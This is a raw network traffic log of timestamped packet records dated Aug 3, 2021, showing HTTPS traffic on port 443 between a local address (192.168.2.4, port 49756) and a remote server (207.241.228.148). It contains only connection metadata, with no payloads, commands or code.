Aug 3, 2021 20:39:44.493145943 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493184090 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493221045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493252039 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.493258953 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493298054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493299961 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.493347883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493391991 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493408918 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.493429899 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493449926 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.493469954 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493508101 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493544102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493560076 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.493582010 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493602037 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.493619919 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493666887 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493709087 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493721962 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.493746996 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493762016 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.493786097 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493824005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493860006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493879080 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.493897915 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493916035 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.493938923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.493987083 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494030952 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494070053 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494070053 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.494096994 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.494107962 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494147062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494159937 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.494184017 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494221926 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494255066 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.494259119 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494308949 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.494312048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494357109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494395018 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494416952 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.494434118 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494472027 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494503021 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.494508982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494546890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494585037 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494612932 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.494632959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494651079 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.494677067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494715929 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494754076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494792938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494815111 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.494831085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494870901 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494883060 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.494909048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494956970 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.494999886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495028019 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.495038986 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495069981 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.495078087 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495140076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495183945 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495222092 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495261908 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495268106 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.495301008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495323896 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.495351076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495419979 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495460033 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495497942 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495503902 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.495543003 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495544910 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.495580912 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495618105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495655060 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495702028 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495718002 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.495748043 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.495760918 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495817900 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495858908 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495897055 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495933056 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495937109 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.495970964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.495981932 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.496009111 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496021986 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.496057034 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496098995 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496117115 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.496138096 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496176004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496212959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496221066 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.496249914 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496289968 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496324062 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.496335030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496381998 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.496383905 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496426105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496447086 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.496464014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496504068 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496542931 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496565104 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.496579885 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496603966 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.496618986 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496654987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496685028 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.496701956 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496742964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496761084 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.496781111 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496819973 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496833086 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.496856928 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496892929 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496906042 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.496931076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496968985 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.496984005 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.497015953 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.497059107 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.497070074 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.497096062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.497136116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.497147083 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.497174025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.497210026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.497220993 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.497247934 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.497291088 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.532679081 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.532722950 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.532744884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.532764912 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.532784939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.532804966 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.532881975 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.532941103 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.560883045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.560921907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.561055899 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.608659029 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.608690977 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.608803034 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.677172899 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677201033 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677217960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677232981 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677248955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677263975 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677283049 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677299976 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677318096 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677333117 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677349091 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677355051 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.677366972 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677383900 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677401066 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677421093 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677438974 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677453995 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677470922 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677486897 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677503109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677517891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677532911 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677551985 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.677552938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677570105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677586079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677601099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677613020 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677623987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677638054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677648067 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.677650928 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677668095 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677683115 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677696943 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677711964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677728891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677745104 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677753925 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.677761078 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677777052 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677792072 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677810907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677828074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677841902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677850008 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.677858114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677872896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677887917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677902937 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677917004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677933931 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.677936077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677953005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677968025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677983999 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.677999973 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678014994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678030014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678041935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678057909 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678076029 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678066015 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.678091049 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678107977 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678123951 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678143978 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678147078 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.678159952 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678174019 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678189039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678204060 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678220034 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678234100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678246975 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.678248882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678267956 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678284883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678303003 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678323030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678349018 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678369045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678397894 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678422928 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678428888 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.678441048 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.678446054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678469896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678503990 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678488970 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.678527117 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678545952 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678563118 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678574085 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.678582907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678605080 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678627014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678632021 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.678649902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678672075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678675890 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.678692102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678710938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678713083 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.678730011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678749084 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678750992 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.678767920 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678786993 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678801060 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.678806067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678827047 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678839922 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.678847075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678864956 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678884983 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678885937 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.678904057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678921938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678929090 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.678941011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678960085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.678976059 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.678981066 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.679002047 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.679014921 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.679022074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.679040909 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.679059982 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.679105997 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.712474108 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.712512970 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.712538958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.712568045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.712594986 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.712621927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.712753057 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.712822914 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.741185904 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.741251945 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.741472960 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.789253950 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.789279938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.789463043 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.858861923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860347033 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860429049 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860450983 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860470057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860487938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860508919 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860528946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860512972 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.860552073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860572100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860590935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860610008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860627890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860646963 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860666037 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860685110 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860707045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860709906 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.860729933 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860941887 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860960960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.860980988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861001968 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861021042 CEST	443	49756	207.241.228.148	192.168.2.4
